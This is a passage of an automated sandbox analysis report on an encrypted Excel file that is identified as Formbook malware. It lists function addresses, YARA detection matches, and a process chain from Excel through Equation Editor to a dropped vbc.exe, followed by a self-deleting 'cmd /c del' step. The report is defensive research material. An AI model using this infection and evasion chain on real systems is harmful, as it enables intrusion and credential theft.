Source: C:\Users\Public\vbc.exe	Code function: 4_2_0031CAD0	4_2_0031CAD0
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00310470	4_2_00310470
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00319D68	4_2_00319D68
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00319600	4_2_00319600
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00310FC8	4_2_00310FC8
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00315130	4_2_00315130
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00315140	4_2_00315140
Source: C:\Users\Public\vbc.exe	Code function: 4_2_003131BC	4_2_003131BC
Source: C:\Users\Public\vbc.exe	Code function: 4_2_003131FC	4_2_003131FC
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0031AAE0	4_2_0031AAE0
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00315339	4_2_00315339
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00315348	4_2_00315348
Source: C:\Users\Public\vbc.exe	Code function: 4_2_003193AC	4_2_003193AC
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0031E468	4_2_0031E468
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00311CC0	4_2_00311CC0
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0031353F	4_2_0031353F
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00319D58	4_2_00319D58
Source: C:\Users\Public\vbc.exe	Code function: 4_2_003155B0	4_2_003155B0
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00314DA8	4_2_00314DA8
Source: C:\Users\Public\vbc.exe	Code function: 4_2_003135F0	4_2_003135F0
Source: C:\Users\Public\vbc.exe	Code function: 4_2_003155C0	4_2_003155C0
Source: C:\Users\Public\vbc.exe	Code function: 4_2_003197BE	4_2_003197BE
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00315790	4_2_00315790
Source: C:\Users\Public\vbc.exe	Code function: 4_2_02185C38	4_2_02185C38
Source: C:\Users\Public\vbc.exe	Code function: 4_2_021891F8	4_2_021891F8
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0040102F	5_2_0040102F
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00401030	5_2_00401030
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00408C4C	5_2_00408C4C
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00408C50	5_2_00408C50
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041B493	5_2_0041B493
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041CD28	5_2_0041CD28
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00402D87	5_2_00402D87
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00402D90	5_2_00402D90
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041CE77	5_2_0041CE77
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00402FB0	5_2_00402FB0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0093E0C6	5_2_0093E0C6
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0096D005	5_2_0096D005
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0095905A	5_2_0095905A
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00943040	5_2_00943040
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009BD06D	5_2_009BD06D
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0093E2E9	5_2_0093E2E9
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009E1238	5_2_009E1238
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009E63BF	5_2_009E63BF
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009663DB	5_2_009663DB
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0093F3CF	5_2_0093F3CF
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00942305	5_2_00942305
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00947353	5_2_00947353
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0098A37B	5_2_0098A37B
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00975485	5_2_00975485
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00951489	5_2_00951489
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009C443E	5_2_009C443E
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0097D47D	5_2_0097D47D
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0095C5F0	5_2_0095C5F0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0094351F	5_2_0094351F
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00986540	5_2_00986540
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00944680	5_2_00944680
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0094E6C1	5_2_0094E6C1
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0098A634	5_2_0098A634
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009E2622	5_2_009E2622
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009C579A	5_2_009C579A
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0094C7BC	5_2_0094C7BC
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009757C3	5_2_009757C3
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009DF8EE	5_2_009DF8EE
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0094C85C	5_2_0094C85C
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0096286D	5_2_0096286D
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009E098E	5_2_009E098E
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009429B2	5_2_009429B2
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009569FE	5_2_009569FE
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009C5955	5_2_009C5955
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009C394B	5_2_009C394B
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009F3A83	5_2_009F3A83
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009ECBA4	5_2_009ECBA4
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0093FBD7	5_2_0093FBD7
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009CDBDA	5_2_009CDBDA
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00967B00	5_2_00967B00
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009DFDDD	5_2_009DFDDD
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00970D3B	5_2_00970D3B
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0094CD5B	5_2_0094CD5B
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00972E2F	5_2_00972E2F
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0095EE4C	5_2_0095EE4C
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009DCFB1	5_2_009DCFB1
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009B2FDC	5_2_009B2FDC
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00950F3F	5_2_00950F3F
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0096DF7C	5_2_0096DF7C
Source: C:\Users\Public\vbc.exe	Code function: 5_2_000C67C7	5_2_000C67C7
Source: C:\Users\Public\vbc.exe	Code function: 5_2_000C5062	5_2_000C5062
Source: C:\Users\Public\vbc.exe	Code function: 5_2_000C08F9	5_2_000C08F9
Source: C:\Users\Public\vbc.exe	Code function: 5_2_000C0902	5_2_000C0902
Source: C:\Users\Public\vbc.exe	Code function: 5_2_000C32FF	5_2_000C32FF
Source: C:\Users\Public\vbc.exe	Code function: 5_2_000C3302	5_2_000C3302
Source: C:\Users\Public\vbc.exe	Code function: 5_2_000C1362	5_2_000C1362
Source: C:\Users\Public\vbc.exe	Code function: 5_2_000C75B2	5_2_000C75B2
Source: C:\Users\Public\vbc.exe	Code function: 5_2_002B67C7	5_2_002B67C7
Source: C:\Users\Public\vbc.exe	Code function: 5_2_002B5062	5_2_002B5062
Source: C:\Users\Public\vbc.exe	Code function: 5_2_002B08F9	5_2_002B08F9
Source: C:\Users\Public\vbc.exe	Code function: 5_2_002B32FF	5_2_002B32FF
Source: C:\Users\Public\vbc.exe	Code function: 5_2_002B0902	5_2_002B0902
Source: C:\Users\Public\vbc.exe	Code function: 5_2_002B3302	5_2_002B3302
Source: C:\Users\Public\vbc.exe	Code function: 5_2_002B1362	5_2_002B1362
Source: C:\Users\Public\vbc.exe	Code function: 5_2_002B75B2	5_2_002B75B2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_02061238	7_2_02061238
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FBE0C6	7_2_01FBE0C6
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0200A37B	7_2_0200A37B
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FD905A	7_2_01FD905A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_020663BF	7_2_020663BF
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FC3040	7_2_01FC3040
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FED005	7_2_01FED005
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FE63DB	7_2_01FE63DB
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FBF3CF	7_2_01FBF3CF
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0203D06D	7_2_0203D06D
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FC7353	7_2_01FC7353
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FC2305	7_2_01FC2305
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FBE2E9	7_2_01FBE2E9
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FDC5F0	7_2_01FDC5F0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_02062622	7_2_02062622
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0200A634	7_2_0200A634
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FC351F	7_2_01FC351F
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FD1489	7_2_01FD1489
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FF5485	7_2_01FF5485
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FFD47D	7_2_01FFD47D
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0204579A	7_2_0204579A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0204443E	7_2_0204443E
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FF57C3	7_2_01FF57C3
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FCC7BC	7_2_01FCC7BC
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FCE6C1	7_2_01FCE6C1
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_02006540	7_2_02006540
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FC4680	7_2_01FC4680
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FD69FE	7_2_01FD69FE
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FC29B2	7_2_01FC29B2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_02073A83	7_2_02073A83
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FE286D	7_2_01FE286D
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FCC85C	7_2_01FCC85C
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0206CBA4	7_2_0206CBA4
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0204DBDA	7_2_0204DBDA
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FBFBD7	7_2_01FBFBD7
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0205F8EE	7_2_0205F8EE
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FE7B00	7_2_01FE7B00
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0204394B	7_2_0204394B
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_02045955	7_2_02045955
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0206098E	7_2_0206098E
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FCCD5B	7_2_01FCCD5B
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FF0D3B	7_2_01FF0D3B
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0205CFB1	7_2_0205CFB1
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_02032FDC	7_2_02032FDC
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FEDF7C	7_2_01FEDF7C
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FD0F3F	7_2_01FD0F3F
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FDEE4C	7_2_01FDEE4C
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FF2E2F	7_2_01FF2E2F
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0205FDDD	7_2_0205FDDD
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0009B493	7_2_0009B493
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_00088C4C	7_2_00088C4C
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_00088C50	7_2_00088C50
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0009CD28	7_2_0009CD28
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_00082D87	7_2_00082D87
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_00082D90	7_2_00082D90
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0009CE77	7_2_0009CE77
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_00082FB0	7_2_00082FB0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01E367C7	7_2_01E367C7
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01E35062	7_2_01E35062
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01E31362	7_2_01E31362
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01E33302	7_2_01E33302
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01E332FF	7_2_01E332FF
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01E375B2	7_2_01E375B2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01E30902	7_2_01E30902
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01E308F9	7_2_01E308F9

Source: Agreement.xlsx

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Windows\SysWOW64\wlanext.exe	Code function: String function: 01FBE2A8 appears 38 times
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: String function: 0200373B appears 245 times
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: String function: 02003F92 appears 132 times
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: String function: 0202F970 appears 84 times
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: String function: 01FBDF5C appears 121 times
Source: C:\Users\Public\vbc.exe	Code function: String function: 0098373B appears 245 times
Source: C:\Users\Public\vbc.exe	Code function: String function: 0093E2A8 appears 38 times
Source: C:\Users\Public\vbc.exe	Code function: String function: 0093DF5C appears 121 times
Source: C:\Users\Public\vbc.exe	Code function: String function: 009AF970 appears 84 times
Source: C:\Users\Public\vbc.exe	Code function: String function: 00983F92 appears 132 times

Source: 00000005.00000002.2203086612.0000000000080000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.2203086612.0000000000080000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.2203183179.00000000002C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.2203183179.00000000002C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.2372523372.0000000000210000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.2372523372.0000000000210000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.2157787740.0000000003B59000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.2157787740.0000000003B59000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.2372501174.00000000001E0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.2372501174.00000000001E0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: explorer.exe, 00000006.00000000.2166477724.0000000003C40000.00000002.00000001.sdmp

Binary or memory string: .VBPud<_

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLSX@9/6@7/5

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$Agreement.xlsx

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR195.tmp

Jump to behavior

Source: C:\Users\Public\vbc.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\Public\vbc.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: unknown	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: unknown	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe
Source: unknown	Process created: C:\Windows\SysWOW64\wlanext.exe C:\Windows\SysWOW64\wlanext.exe
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\Public\vbc.exe'
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe	Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\Public\vbc.exe'	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}\InProcServer32

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: Agreement
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: Agreement
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: Agreement
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: Agreement
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: Agreement
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: Agreement
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: Agreement
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: Agreement
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: Agreement
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: Agreement
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: Agreement
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: Agreement
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: Agreement
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: Agreement
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: Agreement
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: Agreement
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: Agreement

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\Public\vbc.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: Agreement.xlsx

Static file information: File size 2198016 > 1048576

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: wntdll.pdb source: vbc.exe, wlanext.exe
Source:	Binary string: wlanext.pdb source: vbc.exe, 00000005.00000002.2203256000.0000000000559000.00000004.00000020.sdmp

Source: Agreement.xlsx

Initial sample: OLE indicators vbamacros = False

Source: Agreement.xlsx

Initial sample: OLE indicators encrypted = True

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\Public\vbc.exe

Unpacked PE file: 4.2.vbc.exe.c70000.3.unpack .text:ER;.rsrc:R;.reloc:R; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:R;

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\Public\vbc.exe

Unpacked PE file: 4.2.vbc.exe.c70000.3.unpack

Source: C:\Users\Public\vbc.exe	Code function: 4_2_00C773C7 push edx; ret	4_2_00C773C9
Source: C:\Users\Public\vbc.exe	Code function: 4_2_003191EC push eax; retf	4_2_00319219
Source: C:\Users\Public\vbc.exe	Code function: 4_2_02188996 push es; ret	4_2_02188997
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0040C8B1 push ss; iretd	5_2_0040C8B5
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041B3F2 push eax; ret	5_2_0041B3F8
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041B3FB push eax; ret	5_2_0041B462
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041B3A5 push eax; ret	5_2_0041B3F8
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041B45C push eax; ret	5_2_0041B462
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00415CB8 push esi; ret	5_2_00415CB9
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041A5F2 push cs; retf	5_2_0041A5F3
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00C773C7 push edx; ret	5_2_00C773C9
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0093DFA1 push ecx; ret	5_2_0093DFB4
Source: C:\Windows\explorer.exe	Code function: 6_2_02900560 push esi; iretd	6_2_02900561
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FBDFA1 push ecx; ret	7_2_01FBDFB4
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0009B3A5 push eax; ret	7_2_0009B3F8
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0009B3FB push eax; ret	7_2_0009B462
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0009B3F2 push eax; ret	7_2_0009B3F8
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0009B45C push eax; ret	7_2_0009B462
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0009A5F2 push cs; retf	7_2_0009A5F3
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0008C8B1 push ss; iretd	7_2_0008C8B5
